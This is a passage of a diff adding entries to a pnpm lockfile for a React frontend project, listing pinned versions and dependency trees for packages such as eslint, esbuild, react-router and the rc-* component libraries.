has-proto: 1.2.0 + has-symbols: 1.1.0 + internal-slot: 1.1.0 + iterator.prototype: 1.1.5 + safe-array-concat: 1.1.3 + + es-object-atoms@1.1.1: + dependencies: + es-errors: 1.3.0 + + es-set-tostringtag@2.1.0: + dependencies: + es-errors: 1.3.0 + get-intrinsic: 1.3.0 + has-tostringtag: 1.0.2 + hasown: 2.0.2 + + es-shim-unscopables@1.1.0: + dependencies: + hasown: 2.0.2 + + es-to-primitive@1.3.0: + dependencies: + is-callable: 1.2.7 + is-date-object: 1.1.0 + is-symbol: 1.1.1 + + esbuild@0.25.8: + optionalDependencies: + '@esbuild/aix-ppc64': 0.25.8 + '@esbuild/android-arm': 0.25.8 + '@esbuild/android-arm64': 0.25.8 + '@esbuild/android-x64': 0.25.8 + '@esbuild/darwin-arm64': 0.25.8 + '@esbuild/darwin-x64': 0.25.8 + '@esbuild/freebsd-arm64': 0.25.8 + '@esbuild/freebsd-x64': 0.25.8 + '@esbuild/linux-arm': 0.25.8 + '@esbuild/linux-arm64': 0.25.8 + '@esbuild/linux-ia32': 0.25.8 + '@esbuild/linux-loong64': 0.25.8 + '@esbuild/linux-mips64el': 0.25.8 + '@esbuild/linux-ppc64': 0.25.8 + '@esbuild/linux-riscv64': 0.25.8 + '@esbuild/linux-s390x': 0.25.8 + '@esbuild/linux-x64': 0.25.8 + '@esbuild/netbsd-arm64': 0.25.8 + '@esbuild/netbsd-x64': 0.25.8 + '@esbuild/openbsd-arm64': 0.25.8 + '@esbuild/openbsd-x64': 0.25.8 + '@esbuild/openharmony-arm64': 0.25.8 + '@esbuild/sunos-x64': 0.25.8 + '@esbuild/win32-arm64': 0.25.8 + '@esbuild/win32-ia32': 0.25.8 + '@esbuild/win32-x64': 0.25.8 + + escalade@3.2.0: {} + + escape-string-regexp@4.0.0: {} + + eslint-config-prettier@9.1.2(eslint@8.57.1): + dependencies: + eslint: 8.57.1 + + eslint-plugin-prettier@5.5.4(eslint-config-prettier@9.1.2(eslint@8.57.1))(eslint@8.57.1)(prettier@3.6.2): + dependencies: + eslint: 8.57.1 + prettier: 3.6.2 + prettier-linter-helpers: 1.0.0 + synckit: 0.11.11 + optionalDependencies: + eslint-config-prettier: 9.1.2(eslint@8.57.1) + + eslint-plugin-react-hooks@5.2.0(eslint@8.57.1): + dependencies: + eslint: 8.57.1 + + eslint-plugin-react@7.37.5(eslint@8.57.1): + dependencies: + array-includes: 3.1.9 + array.prototype.findlast: 1.2.5 + array.prototype.flatmap: 1.3.3 + array.prototype.tosorted: 1.1.4 + doctrine: 2.1.0 + es-iterator-helpers: 1.2.1 + eslint: 8.57.1 + estraverse: 5.3.0 + hasown: 2.0.2 + jsx-ast-utils: 3.3.5 + minimatch: 3.1.2 + object.entries: 1.1.9 + object.fromentries: 2.0.8 + object.values: 1.2.1 + prop-types: 15.8.1 + resolve: 2.0.0-next.5 + semver: 6.3.1 + string.prototype.matchall: 4.0.12 + string.prototype.repeat: 1.0.0 + + eslint-scope@7.2.2: + dependencies: + esrecurse: 4.3.0 + estraverse: 5.3.0 + + eslint-visitor-keys@3.4.3: {} + + eslint@8.57.1: + dependencies: + '@eslint-community/eslint-utils': 4.7.0(eslint@8.57.1) + '@eslint-community/regexpp': 4.12.1 + '@eslint/eslintrc': 2.1.4 + '@eslint/js': 8.57.1 + '@humanwhocodes/config-array': 0.13.0 + '@humanwhocodes/module-importer': 1.0.1 + '@nodelib/fs.walk': 1.2.8 + '@ungap/structured-clone': 1.3.0 + ajv: 6.12.6 + chalk: 4.1.2 + cross-spawn: 7.0.6 + debug: 4.4.1 + doctrine: 3.0.0 + escape-string-regexp: 4.0.0 + eslint-scope: 7.2.2 + eslint-visitor-keys: 3.4.3 + espree: 9.6.1 + esquery: 1.6.0 + esutils: 2.0.3 + fast-deep-equal: 3.1.3 + file-entry-cache: 6.0.1 + find-up: 5.0.0 + glob-parent: 6.0.2 + globals: 13.24.0 + graphemer: 1.4.0 + ignore: 5.3.2 + imurmurhash: 0.1.4 + is-glob: 4.0.3 + is-path-inside: 3.0.3 + js-yaml: 4.1.0 + json-stable-stringify-without-jsonify: 1.0.1 + levn: 0.4.1 + lodash.merge: 4.6.2 + minimatch: 3.1.2 + natural-compare: 1.4.0 + optionator: 0.9.4 + strip-ansi: 6.0.1 + text-table: 0.2.0 + transitivePeerDependencies: + - supports-color + + espree@9.6.1: + dependencies: + acorn: 8.15.0 + acorn-jsx: 5.3.2(acorn@8.15.0) + eslint-visitor-keys: 3.4.3 + + esquery@1.6.0: + dependencies: + estraverse: 5.3.0 + + esrecurse@4.3.0: + dependencies: + estraverse: 5.3.0 + + estraverse@5.3.0: {} + + esutils@2.0.3: {} + + fast-deep-equal@3.1.3: {} + + fast-diff@1.3.0: {} + + fast-glob@3.3.3: + dependencies: + '@nodelib/fs.stat': 2.0.5 + '@nodelib/fs.walk': 1.2.8 + glob-parent: 5.1.2 + merge2: 1.4.1 + micromatch: 4.0.8 + + fast-json-stable-stringify@2.1.0: {} + + fast-levenshtein@2.0.6: {} + + fastq@1.19.1: + dependencies: + reusify: 1.1.0 + + fdir@6.4.6(picomatch@4.0.3): + optionalDependencies: + picomatch: 4.0.3 + + file-entry-cache@6.0.1: + dependencies: + flat-cache: 3.2.0 + + fill-range@7.1.1: + dependencies: + to-regex-range: 5.0.1 + + find-up@5.0.0: + dependencies: + locate-path: 6.0.0 + path-exists: 4.0.0 + + flat-cache@3.2.0: + dependencies: + flatted: 3.3.3 + keyv: 4.5.4 + rimraf: 3.0.2 + + flatted@3.3.3: {} + + follow-redirects@1.15.11: {} + + for-each@0.3.5: + dependencies: + is-callable: 1.2.7 + + form-data@4.0.4: + dependencies: + asynckit: 0.4.0 + combined-stream: 1.0.8 + es-set-tostringtag: 2.1.0 + hasown: 2.0.2 + mime-types: 2.1.35 + + fs.realpath@1.0.0: {} + + fsevents@2.3.3: + optional: true + + function-bind@1.1.2: {} + + function.prototype.name@1.1.8: + dependencies: + call-bind: 1.0.8 + call-bound: 1.0.4 + define-properties: 1.2.1 + functions-have-names: 1.2.3 + hasown: 2.0.2 + is-callable: 1.2.7 + + functions-have-names@1.2.3: {} + + gensync@1.0.0-beta.2: {} + + get-intrinsic@1.3.0: + dependencies: + call-bind-apply-helpers: 1.0.2 + es-define-property: 1.0.1 + es-errors: 1.3.0 + es-object-atoms: 1.1.1 + function-bind: 1.1.2 + get-proto: 1.0.1 + gopd: 1.2.0 + has-symbols: 1.1.0 + hasown: 2.0.2 + math-intrinsics: 1.1.0 + + get-proto@1.0.1: + dependencies: + dunder-proto: 1.0.1 + es-object-atoms: 1.1.1 + + get-symbol-description@1.1.0: + dependencies: + call-bound: 1.0.4 + es-errors: 1.3.0 + get-intrinsic: 1.3.0 + + glob-parent@5.1.2: + dependencies: + is-glob: 4.0.3 + + glob-parent@6.0.2: + dependencies: + is-glob: 4.0.3 + + glob@7.2.3: + dependencies: + fs.realpath: 1.0.0 + inflight: 1.0.6 + inherits: 2.0.4 + minimatch: 3.1.2 + once: 1.4.0 + path-is-absolute: 1.0.1 + + globals@13.24.0: + dependencies: + type-fest: 0.20.2 + + globalthis@1.0.4: + dependencies: + define-properties: 1.2.1 + gopd: 1.2.0 + + globby@11.1.0: + dependencies: + array-union: 2.1.0 + dir-glob: 3.0.1 + fast-glob: 3.3.3 + ignore: 5.3.2 + merge2: 1.4.1 + slash: 3.0.0 + + gopd@1.2.0: {} + + graphemer@1.4.0: {} + + has-bigints@1.1.0: {} + + has-flag@4.0.0: {} + + has-property-descriptors@1.0.2: + dependencies: + es-define-property: 1.0.1 + + has-proto@1.2.0: + dependencies: + dunder-proto: 1.0.1 + + has-symbols@1.1.0: {} + + has-tostringtag@1.0.2: + dependencies: + has-symbols: 1.1.0 + + hasown@2.0.2: + dependencies: + function-bind: 1.1.2 + + ignore@5.3.2: {} + + immutable@5.1.3: {} + + import-fresh@3.3.1: + dependencies: + parent-module: 1.0.1 + resolve-from: 4.0.0 + + imurmurhash@0.1.4: {} + + inflight@1.0.6: + dependencies: + once: 1.4.0 + wrappy: 1.0.2 + + inherits@2.0.4: {} + + internal-slot@1.1.0: + dependencies: + es-errors: 1.3.0 + hasown: 2.0.2 + side-channel: 1.1.0 + + intersection-observer@0.12.2: {} + + is-array-buffer@3.0.5: + dependencies: + call-bind: 1.0.8 + call-bound: 1.0.4 + get-intrinsic: 1.3.0 + + is-async-function@2.1.1: + dependencies: + async-function: 1.0.0 + call-bound: 1.0.4 + get-proto: 1.0.1 + has-tostringtag: 1.0.2 + safe-regex-test: 1.1.0 + + is-bigint@1.1.0: + dependencies: + has-bigints: 1.1.0 + + is-boolean-object@1.2.2: + dependencies: + call-bound: 1.0.4 + has-tostringtag: 1.0.2 + + is-callable@1.2.7: {} + + is-core-module@2.16.1: + dependencies: + hasown: 2.0.2 + + is-data-view@1.0.2: + dependencies: + call-bound: 1.0.4 + get-intrinsic: 1.3.0 + is-typed-array: 1.1.15 + + is-date-object@1.1.0: + dependencies: + call-bound: 1.0.4 + has-tostringtag: 1.0.2 + + is-extglob@2.1.1: {} + + is-finalizationregistry@1.1.1: + dependencies: + call-bound: 1.0.4 + + is-generator-function@1.1.0: + dependencies: + call-bound: 1.0.4 + get-proto: 1.0.1 + has-tostringtag: 1.0.2 + safe-regex-test: 1.1.0 + + is-glob@4.0.3: + dependencies: + is-extglob: 2.1.1 + + is-map@2.0.3: {} + + is-negative-zero@2.0.3: {} + + is-number-object@1.1.1: + dependencies: + call-bound: 1.0.4 + has-tostringtag: 1.0.2 + + is-number@7.0.0: {} + + is-path-inside@3.0.3: {} + + is-regex@1.2.1: + dependencies: + call-bound: 1.0.4 + gopd: 1.2.0 + has-tostringtag: 1.0.2 + hasown: 2.0.2 + + is-set@2.0.3: {} + + is-shared-array-buffer@1.0.4: + dependencies: + call-bound: 1.0.4 + + is-string@1.1.1: + dependencies: + call-bound: 1.0.4 + has-tostringtag: 1.0.2 + + is-symbol@1.1.1: + dependencies: + call-bound: 1.0.4 + has-symbols: 1.1.0 + safe-regex-test: 1.1.0 + + is-typed-array@1.1.15: + dependencies: + which-typed-array: 1.1.19 + + is-weakmap@2.0.2: {} + + is-weakref@1.1.1: + dependencies: + call-bound: 1.0.4 + + is-weakset@2.0.4: + dependencies: + call-bound: 1.0.4 + get-intrinsic: 1.3.0 + + isarray@2.0.5: {} + + isexe@2.0.0: {} + + iterator.prototype@1.1.5: + dependencies: + define-data-property: 1.1.4 + es-object-atoms: 1.1.1 + get-intrinsic: 1.3.0 + get-proto: 1.0.1 + has-symbols: 1.1.0 + set-function-name: 2.0.2 + + js-cookie@3.0.5: {} + + js-tokens@4.0.0: {} + + js-yaml@4.1.0: + dependencies: + argparse: 2.0.1 + + jsesc@3.1.0: {} + + json-buffer@3.0.1: {} + + json-schema-traverse@0.4.1: {} + + json-stable-stringify-without-jsonify@1.0.1: {} + + json2mq@0.2.0: + dependencies: + string-convert: 0.2.1 + + json5@2.2.3: {} + + jsx-ast-utils@3.3.5: + dependencies: + array-includes: 3.1.9 + array.prototype.flat: 1.3.3 + object.assign: 4.1.7 + object.values: 1.2.1 + + keyv@4.5.4: + dependencies: + json-buffer: 3.0.1 + + levn@0.4.1: + dependencies: + prelude-ls: 1.2.1 + type-check: 0.4.0 + + locate-path@6.0.0: + dependencies: + p-locate: 5.0.0 + + lodash.merge@4.6.2: {} + + lodash@4.17.21: {} + + loose-envify@1.4.0: + dependencies: + js-tokens: 4.0.0 + + lru-cache@5.1.1: + dependencies: + yallist: 3.1.1 + + math-intrinsics@1.1.0: {} + + memoize-one@5.2.1: {} + + merge2@1.4.1: {} + + micromatch@4.0.8: + dependencies: + braces: 3.0.3 + picomatch: 2.3.1 + + mime-db@1.52.0: {} + + mime-types@2.1.35: + dependencies: + mime-db: 1.52.0 + + minimatch@3.1.2: + dependencies: + brace-expansion: 1.1.12 + + minimatch@9.0.5: + dependencies: + brace-expansion: 2.0.2 + + ms@2.1.3: {} + + mutation-observer@1.0.3: {} + + nano-memoize@3.0.16: {} + + nanoid@3.3.11: {} + + natural-compare@1.4.0: {} + + node-addon-api@7.1.1: + optional: true + + node-releases@2.0.19: {} + + object-assign@4.1.1: {} + + object-inspect@1.13.4: {} + + object-keys@1.1.1: {} + + object.assign@4.1.7: + dependencies: + call-bind: 1.0.8 + call-bound: 1.0.4 + define-properties: 1.2.1 + es-object-atoms: 1.1.1 + has-symbols: 1.1.0 + object-keys: 1.1.1 + + object.entries@1.1.9: + dependencies: + call-bind: 1.0.8 + call-bound: 1.0.4 + define-properties: 1.2.1 + es-object-atoms: 1.1.1 + + object.fromentries@2.0.8: + dependencies: + call-bind: 1.0.8 + define-properties: 1.2.1 + es-abstract: 1.24.0 + es-object-atoms: 1.1.1 + + object.values@1.2.1: + dependencies: + call-bind: 1.0.8 + call-bound: 1.0.4 + define-properties: 1.2.1 + es-object-atoms: 1.1.1 + + once@1.4.0: + dependencies: + wrappy: 1.0.2 + + optionator@0.9.4: + dependencies: + deep-is: 0.1.4 + fast-levenshtein: 2.0.6 + levn: 0.4.1 + prelude-ls: 1.2.1 + type-check: 0.4.0 + word-wrap: 1.2.5 + + own-keys@1.0.1: + dependencies: + get-intrinsic: 1.3.0 + object-keys: 1.1.1 + safe-push-apply: 1.0.0 + + p-limit@3.1.0: + dependencies: + yocto-queue: 0.1.0 + + p-locate@5.0.0: + dependencies: + p-limit: 3.1.0 + + parent-module@1.0.1: + dependencies: + callsites: 3.1.0 + + path-exists@4.0.0: {} + + path-is-absolute@1.0.1: {} + + path-key@3.1.1: {} + + path-parse@1.0.7: {} + + path-type@4.0.0: {} + + picocolors@1.1.1: {} + + picomatch@2.3.1: {} + + picomatch@4.0.3: {} + + possible-typed-array-names@1.1.0: {} + + postcss-pxtorem@6.1.0(postcss@8.5.6): + dependencies: + postcss: 8.5.6 + + postcss@8.5.6: + dependencies: + nanoid: 3.3.11 + picocolors: 1.1.1 + source-map-js: 1.2.1 + + prelude-ls@1.2.1: {} + + prettier-linter-helpers@1.0.0: + dependencies: + fast-diff: 1.3.0 + + prettier@3.6.2: {} + + prop-types@15.8.1: + dependencies: + loose-envify: 1.4.0 + object-assign: 4.1.1 + react-is: 16.13.1 + + proxy-from-env@1.1.0: {} + + punycode@2.3.1: {} + + queue-microtask@1.2.3: {} + + rc-cascader@3.34.0(react-dom@18.3.1(react@18.3.1))(react@18.3.1): + dependencies: + '@babel/runtime': 7.28.2 + classnames: 2.5.1 + rc-select: 14.16.8(react-dom@18.3.1(react@18.3.1))(react@18.3.1) + rc-tree: 5.13.1(react-dom@18.3.1(react@18.3.1))(react@18.3.1) + rc-util: 5.44.4(react-dom@18.3.1(react@18.3.1))(react@18.3.1) + react: 18.3.1 + react-dom: 18.3.1(react@18.3.1) + + rc-checkbox@3.5.0(react-dom@18.3.1(react@18.3.1))(react@18.3.1): + dependencies: + '@babel/runtime': 7.28.2 + classnames: 2.5.1 + rc-util: 5.44.4(react-dom@18.3.1(react@18.3.1))(react@18.3.1) + react: 18.3.1 + react-dom: 18.3.1(react@18.3.1) + + rc-collapse@3.9.0(react-dom@18.3.1(react@18.3.1))(react@18.3.1): + dependencies: + '@babel/runtime': 7.28.2 + classnames: 2.5.1 + rc-motion: 2.9.5(react-dom@18.3.1(react@18.3.1))(react@18.3.1) + rc-util: 5.44.4(react-dom@18.3.1(react@18.3.1))(react@18.3.1) + react: 18.3.1 + react-dom: 18.3.1(react@18.3.1) + + rc-dialog@9.6.0(react-dom@18.3.1(react@18.3.1))(react@18.3.1): + dependencies: + '@babel/runtime': 7.28.2 + '@rc-component/portal': 1.1.2(react-dom@18.3.1(react@18.3.1))(react@18.3.1) + classnames: 2.5.1 + rc-motion: 2.9.5(react-dom@18.3.1(react@18.3.1))(react@18.3.1) + rc-util: 5.44.4(react-dom@18.3.1(react@18.3.1))(react@18.3.1) + react: 18.3.1 + react-dom: 18.3.1(react@18.3.1) + + rc-drawer@7.3.0(react-dom@18.3.1(react@18.3.1))(react@18.3.1): + dependencies: + '@babel/runtime': 7.28.2 + '@rc-component/portal': 1.1.2(react-dom@18.3.1(react@18.3.1))(react@18.3.1) + classnames: 2.5.1 + rc-motion: 2.9.5(react-dom@18.3.1(react@18.3.1))(react@18.3.1) + rc-util: 5.44.4(react-dom@18.3.1(react@18.3.1))(react@18.3.1) + react: 18.3.1 + react-dom: 18.3.1(react@18.3.1) + + rc-dropdown@4.2.1(react-dom@18.3.1(react@18.3.1))(react@18.3.1): + dependencies: + '@babel/runtime': 7.28.2 + '@rc-component/trigger': 2.3.0(react-dom@18.3.1(react@18.3.1))(react@18.3.1) + classnames: 2.5.1 + rc-util: 5.44.4(react-dom@18.3.1(react@18.3.1))(react@18.3.1) + react: 18.3.1 + react-dom: 18.3.1(react@18.3.1) + + rc-field-form@1.44.0(react-dom@18.3.1(react@18.3.1))(react@18.3.1): + dependencies: + '@babel/runtime': 7.28.2 + async-validator: 4.2.5 + rc-util: 5.44.4(react-dom@18.3.1(react@18.3.1))(react@18.3.1) + react: 18.3.1 + react-dom: 18.3.1(react@18.3.1) + + rc-field-form@2.7.0(react-dom@18.3.1(react@18.3.1))(react@18.3.1): + dependencies: + '@babel/runtime': 7.28.2 + '@rc-component/async-validator': 5.0.4 + rc-util: 5.44.4(react-dom@18.3.1(react@18.3.1))(react@18.3.1) + react: 18.3.1 + react-dom: 18.3.1(react@18.3.1) + + rc-image@7.12.0(react-dom@18.3.1(react@18.3.1))(react@18.3.1): + dependencies: + '@babel/runtime': 7.28.2 + '@rc-component/portal': 1.1.2(react-dom@18.3.1(react@18.3.1))(react@18.3.1) + classnames: 2.5.1 + rc-dialog: 9.6.0(react-dom@18.3.1(react@18.3.1))(react@18.3.1) + rc-motion: 2.9.5(react-dom@18.3.1(react@18.3.1))(react@18.3.1) + rc-util: 5.44.4(react-dom@18.3.1(react@18.3.1))(react@18.3.1) + react: 18.3.1 + react-dom: 18.3.1(react@18.3.1) + + rc-input-number@9.5.0(react-dom@18.3.1(react@18.3.1))(react@18.3.1): + dependencies: + '@babel/runtime': 7.28.2 + '@rc-component/mini-decimal': 1.1.0 + classnames: 2.5.1 + rc-input: 1.8.0(react-dom@18.3.1(react@18.3.1))(react@18.3.1) + rc-util: 5.44.4(react-dom@18.3.1(react@18.3.1))(react@18.3.1) + react: 18.3.1 + react-dom: 18.3.1(react@18.3.1) + + rc-input@1.8.0(react-dom@18.3.1(react@18.3.1))(react@18.3.1): + dependencies: + '@babel/runtime': 7.28.2 + classnames: 2.5.1 + rc-util: 5.44.4(react-dom@18.3.1(react@18.3.1))(react@18.3.1) + react: 18.3.1 + react-dom: 18.3.1(react@18.3.1) + + rc-mentions@2.20.0(react-dom@18.3.1(react@18.3.1))(react@18.3.1): + dependencies: + '@babel/runtime': 7.28.2 + '@rc-component/trigger': 2.3.0(react-dom@18.3.1(react@18.3.1))(react@18.3.1) + classnames: 2.5.1 + rc-input: 1.8.0(react-dom@18.3.1(react@18.3.1))(react@18.3.1) + rc-menu: 9.16.1(react-dom@18.3.1(react@18.3.1))(react@18.3.1) + rc-textarea: 1.10.2(react-dom@18.3.1(react@18.3.1))(react@18.3.1) + rc-util: 5.44.4(react-dom@18.3.1(react@18.3.1))(react@18.3.1) + react: 18.3.1 + react-dom: 18.3.1(react@18.3.1) + + rc-menu@9.16.1(react-dom@18.3.1(react@18.3.1))(react@18.3.1): + dependencies: + '@babel/runtime': 7.28.2 + '@rc-component/trigger': 2.3.0(react-dom@18.3.1(react@18.3.1))(react@18.3.1) + classnames: 2.5.1 + rc-motion: 2.9.5(react-dom@18.3.1(react@18.3.1))(react@18.3.1) + rc-overflow: 1.4.1(react-dom@18.3.1(react@18.3.1))(react@18.3.1) + rc-util: 5.44.4(react-dom@18.3.1(react@18.3.1))(react@18.3.1) + react: 18.3.1 + react-dom: 18.3.1(react@18.3.1) + + rc-motion@2.9.5(react-dom@18.3.1(react@18.3.1))(react@18.3.1): + dependencies: + '@babel/runtime': 7.28.2 + classnames: 2.5.1 + rc-util: 5.44.4(react-dom@18.3.1(react@18.3.1))(react@18.3.1) + react: 18.3.1 + react-dom: 18.3.1(react@18.3.1) + + rc-notification@5.6.4(react-dom@18.3.1(react@18.3.1))(react@18.3.1): + dependencies: + '@babel/runtime': 7.28.2 + classnames: 2.5.1 + rc-motion: 2.9.5(react-dom@18.3.1(react@18.3.1))(react@18.3.1) + rc-util: 5.44.4(react-dom@18.3.1(react@18.3.1))(react@18.3.1) + react: 18.3.1 + react-dom: 18.3.1(react@18.3.1) + + rc-overflow@1.4.1(react-dom@18.3.1(react@18.3.1))(react@18.3.1): + dependencies: + '@babel/runtime': 7.28.2 + classnames: 2.5.1 + rc-resize-observer: 1.4.3(react-dom@18.3.1(react@18.3.1))(react@18.3.1) + rc-util: 5.44.4(react-dom@18.3.1(react@18.3.1))(react@18.3.1) + react: 18.3.1 + react-dom: 18.3.1(react@18.3.1) + + rc-pagination@5.1.0(react-dom@18.3.1(react@18.3.1))(react@18.3.1): + dependencies: + '@babel/runtime': 7.28.2 + classnames: 2.5.1 + rc-util: 5.44.4(react-dom@18.3.1(react@18.3.1))(react@18.3.1) + react: 18.3.1 + react-dom: 18.3.1(react@18.3.1) + + rc-picker@4.11.3(dayjs@1.11.13)(react-dom@18.3.1(react@18.3.1))(react@18.3.1): + dependencies: + '@babel/runtime': 7.28.2 + '@rc-component/trigger': 2.3.0(react-dom@18.3.1(react@18.3.1))(react@18.3.1) + classnames: 2.5.1 + rc-overflow: 1.4.1(react-dom@18.3.1(react@18.3.1))(react@18.3.1) + rc-resize-observer: 1.4.3(react-dom@18.3.1(react@18.3.1))(react@18.3.1) + rc-util: 5.44.4(react-dom@18.3.1(react@18.3.1))(react@18.3.1) + react: 18.3.1 + react-dom: 18.3.1(react@18.3.1) + optionalDependencies: + dayjs: 1.11.13 + + rc-progress@4.0.0(react-dom@18.3.1(react@18.3.1))(react@18.3.1): + dependencies: + '@babel/runtime': 7.28.2 + classnames: 2.5.1 + rc-util: 5.44.4(react-dom@18.3.1(react@18.3.1))(react@18.3.1) + react: 18.3.1 + react-dom: 18.3.1(react@18.3.1) + + rc-rate@2.13.1(react-dom@18.3.1(react@18.3.1))(react@18.3.1): + dependencies: + '@babel/runtime': 7.28.2 + classnames: 2.5.1 + rc-util: 5.44.4(react-dom@18.3.1(react@18.3.1))(react@18.3.1) + react: 18.3.1 + react-dom: 18.3.1(react@18.3.1) + + rc-resize-observer@1.4.3(react-dom@18.3.1(react@18.3.1))(react@18.3.1): + dependencies: + '@babel/runtime': 7.28.2 + classnames: 2.5.1 + rc-util: 5.44.4(react-dom@18.3.1(react@18.3.1))(react@18.3.1) + react: 18.3.1 + react-dom: 18.3.1(react@18.3.1) + resize-observer-polyfill: 1.5.1 + + rc-segmented@2.4.1(react-dom@18.3.1(react@18.3.1))(react@18.3.1): + dependencies: + '@babel/runtime': 7.28.2 + classnames: 2.5.1 + rc-motion: 2.9.5(react-dom@18.3.1(react@18.3.1))(react@18.3.1) + rc-util: 5.44.4(react-dom@18.3.1(react@18.3.1))(react@18.3.1) + react: 18.3.1 + react-dom: 18.3.1(react@18.3.1) + + rc-segmented@2.7.0(react-dom@18.3.1(react@18.3.1))(react@18.3.1): + dependencies: + '@babel/runtime': 7.28.2 + classnames: 2.5.1 + rc-motion: 2.9.5(react-dom@18.3.1(react@18.3.1))(react@18.3.1) + rc-util: 5.44.4(react-dom@18.3.1(react@18.3.1))(react@18.3.1) + react: 18.3.1 + react-dom: 18.3.1(react@18.3.1) + + rc-select@14.16.8(react-dom@18.3.1(react@18.3.1))(react@18.3.1): + dependencies: + '@babel/runtime': 7.28.2 + '@rc-component/trigger': 2.3.0(react-dom@18.3.1(react@18.3.1))(react@18.3.1) + classnames: 2.5.1 + rc-motion: 2.9.5(react-dom@18.3.1(react@18.3.1))(react@18.3.1) + rc-overflow: 1.4.1(react-dom@18.3.1(react@18.3.1))(react@18.3.1) + rc-util: 5.44.4(react-dom@18.3.1(react@18.3.1))(react@18.3.1) + rc-virtual-list: 3.19.1(react-dom@18.3.1(react@18.3.1))(react@18.3.1) + react: 18.3.1 + react-dom: 18.3.1(react@18.3.1) + + rc-slider@11.1.8(react-dom@18.3.1(react@18.3.1))(react@18.3.1): + dependencies: + '@babel/runtime': 7.28.2 + classnames: 2.5.1 + rc-util: 5.44.4(react-dom@18.3.1(react@18.3.1))(react@18.3.1) + react: 18.3.1 + react-dom: 18.3.1(react@18.3.1) + + rc-steps@6.0.1(react-dom@18.3.1(react@18.3.1))(react@18.3.1): + dependencies: + '@babel/runtime': 7.28.2 + classnames: 2.5.1 + rc-util: 5.44.4(react-dom@18.3.1(react@18.3.1))(react@18.3.1) + react: 18.3.1 + react-dom: 18.3.1(react@18.3.1) + + rc-switch@4.1.0(react-dom@18.3.1(react@18.3.1))(react@18.3.1): + dependencies: + '@babel/runtime': 7.28.2 + classnames: 2.5.1 + rc-util: 5.44.4(react-dom@18.3.1(react@18.3.1))(react@18.3.1) + react: 18.3.1 + react-dom: 18.3.1(react@18.3.1) + + rc-table@7.51.1(react-dom@18.3.1(react@18.3.1))(react@18.3.1): + dependencies: + '@babel/runtime': 7.28.2 + '@rc-component/context': 1.4.0(react-dom@18.3.1(react@18.3.1))(react@18.3.1) + classnames: 2.5.1 + rc-resize-observer: 1.4.3(react-dom@18.3.1(react@18.3.1))(react@18.3.1) + rc-util: 5.44.4(react-dom@18.3.1(react@18.3.1))(react@18.3.1) + rc-virtual-list: 3.19.1(react-dom@18.3.1(react@18.3.1))(react@18.3.1) + react: 18.3.1 + react-dom: 18.3.1(react@18.3.1) + + rc-tabs@15.7.0(react-dom@18.3.1(react@18.3.1))(react@18.3.1): + dependencies: + '@babel/runtime': 7.28.2 + classnames: 2.5.1 + rc-dropdown: 4.2.1(react-dom@18.3.1(react@18.3.1))(react@18.3.1) + rc-menu: 9.16.1(react-dom@18.3.1(react@18.3.1))(react@18.3.1) + rc-motion: 2.9.5(react-dom@18.3.1(react@18.3.1))(react@18.3.1) + rc-resize-observer: 1.4.3(react-dom@18.3.1(react@18.3.1))(react@18.3.1) + rc-util: 5.44.4(react-dom@18.3.1(react@18.3.1))(react@18.3.1) + react: 18.3.1 + react-dom: 18.3.1(react@18.3.1) + + rc-textarea@1.10.2(react-dom@18.3.1(react@18.3.1))(react@18.3.1): + dependencies: + '@babel/runtime': 7.28.2 + classnames: 2.5.1 + rc-input: 1.8.0(react-dom@18.3.1(react@18.3.1))(react@18.3.1) + rc-resize-observer: 1.4.3(react-dom@18.3.1(react@18.3.1))(react@18.3.1) + rc-util: 5.44.4(react-dom@18.3.1(react@18.3.1))(react@18.3.1) + react: 18.3.1 + react-dom: 18.3.1(react@18.3.1) + + rc-tooltip@6.4.0(react-dom@18.3.1(react@18.3.1))(react@18.3.1): + dependencies: + '@babel/runtime': 7.28.2 + '@rc-component/trigger': 2.3.0(react-dom@18.3.1(react@18.3.1))(react@18.3.1) + classnames: 2.5.1 + rc-util: 5.44.4(react-dom@18.3.1(react@18.3.1))(react@18.3.1) + react: 18.3.1 + react-dom: 18.3.1(react@18.3.1) + + rc-tree-select@5.27.0(react-dom@18.3.1(react@18.3.1))(react@18.3.1): + dependencies: + '@babel/runtime': 7.28.2 + classnames: 2.5.1 + rc-select: 14.16.8(react-dom@18.3.1(react@18.3.1))(react@18.3.1) + rc-tree: 5.13.1(react-dom@18.3.1(react@18.3.1))(react@18.3.1) + rc-util: 5.44.4(react-dom@18.3.1(react@18.3.1))(react@18.3.1) + react: 18.3.1 + react-dom: 18.3.1(react@18.3.1) + + rc-tree@5.13.1(react-dom@18.3.1(react@18.3.1))(react@18.3.1): + dependencies: + '@babel/runtime': 7.28.2 + classnames: 2.5.1 + rc-motion: 2.9.5(react-dom@18.3.1(react@18.3.1))(react@18.3.1) + rc-util: 5.44.4(react-dom@18.3.1(react@18.3.1))(react@18.3.1) + rc-virtual-list: 3.19.1(react-dom@18.3.1(react@18.3.1))(react@18.3.1) + react: 18.3.1 + react-dom: 18.3.1(react@18.3.1) + + rc-upload@4.9.2(react-dom@18.3.1(react@18.3.1))(react@18.3.1): + dependencies: + '@babel/runtime': 7.28.2 + classnames: 2.5.1 + rc-util: 5.44.4(react-dom@18.3.1(react@18.3.1))(react@18.3.1) + react: 18.3.1 + react-dom: 18.3.1(react@18.3.1) + + rc-util@5.44.4(react-dom@18.3.1(react@18.3.1))(react@18.3.1): + dependencies: + '@babel/runtime': 7.28.2 + react: 18.3.1 + react-dom: 18.3.1(react@18.3.1) + react-is: 18.3.1 + + rc-virtual-list@3.19.1(react-dom@18.3.1(react@18.3.1))(react@18.3.1): + dependencies: + '@babel/runtime': 7.28.2 + classnames: 2.5.1 + rc-resize-observer: 1.4.3(react-dom@18.3.1(react@18.3.1))(react@18.3.1) + rc-util: 5.44.4(react-dom@18.3.1(react@18.3.1))(react@18.3.1) + react: 18.3.1 + react-dom: 18.3.1(react@18.3.1) + + react-dom@18.3.1(react@18.3.1): + dependencies: + loose-envify: 1.4.0 + react: 18.3.1 + scheduler: 0.23.2 + + react-fast-compare@3.2.2: {} + + react-is@16.13.1: {} + + react-is@18.3.1: {} + + react-refresh@0.17.0: {} + + react-router-dom@6.30.1(react-dom@18.3.1(react@18.3.1))(react@18.3.1): + dependencies: + '@remix-run/router': 1.23.0 + react: 18.3.1 + react-dom: 18.3.1(react@18.3.1) + react-router: 6.30.1(react@18.3.1) + + react-router@6.30.1(react@18.3.1): + dependencies: + '@remix-run/router': 1.23.0 + react: 18.3.1 + + react-window@1.8.11(react-dom@18.3.1(react@18.3.1))(react@18.3.1): + dependencies: + '@babel/runtime': 7.28.2 + memoize-one: 5.2.1 + react: 18.3.1 